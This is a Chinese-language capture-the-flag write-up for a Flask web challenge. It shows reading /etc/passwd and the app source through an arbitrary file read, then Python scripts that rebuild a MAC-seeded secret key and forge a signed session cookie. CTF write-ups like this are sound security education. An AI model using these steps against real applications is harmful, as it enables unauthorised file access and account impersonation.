• BUUCTF[CISCN2019 华东南赛区]Web4 wp


    知识点:任意文件读取,代码审计,flask session伪造

    进入页面

    点击Read somethings后发现url参数,尝试ssrf无果后怀疑存在任意文件读取

     

    尝试读取/etc/passwd,读取成功,并发现可疑文件/app

     

    读取app.py,发现源码

     

     

    审计源码后发现需要进行flask session伪造,当session[username]为fuck的时候即可获得flag。

     

    往上审计,发现secret key是由mac地址做为随机数的种子生成的,所以可以进行伪造

     

    读取/sys/class/net/eth0/address获得mac地址后编写脚本进行伪造session

    伪造密钥脚本

    import random
    m="02:42:ae:00:de:bc"
    mac=m.replace(":", "")
    random.seed(int(mac,16))
    key = str(random.random() * 233)
    print(key)

     

    伪造session脚本

    from flask import Flask
    from flask.sessions import SecureCookieSessionInterface
    
    app = Flask(__name__)
    app.config['SECRET_KEY'] = str(72.8923578256)
    payload = {u'username': 'fuck'}
    serializer = SecureCookieSessionInterface().get_signing_serializer(app)
    session = serializer.dumps(payload)
    print(session)

    运行脚本得到session后使用burp传输,获得flag

     

     

  • 相关阅读:
    生成token和获取token
    python异常处理
    获取文件路径
    批量导出和批量安装第三方模块
    python操作从数据库中获取数据的接口
    centos中开机时如何自启动samba服务器
    MSSQL 创建自定义异常
    MSSQL 生成拼音码
    MSSQL FOR MXL PATH 运用(转载)
    MSSQL旋转和反旋转的例子
  • 原文地址:https://www.cnblogs.com/Yhck/p/13625271.html
Copyright © 2020-2023  润新知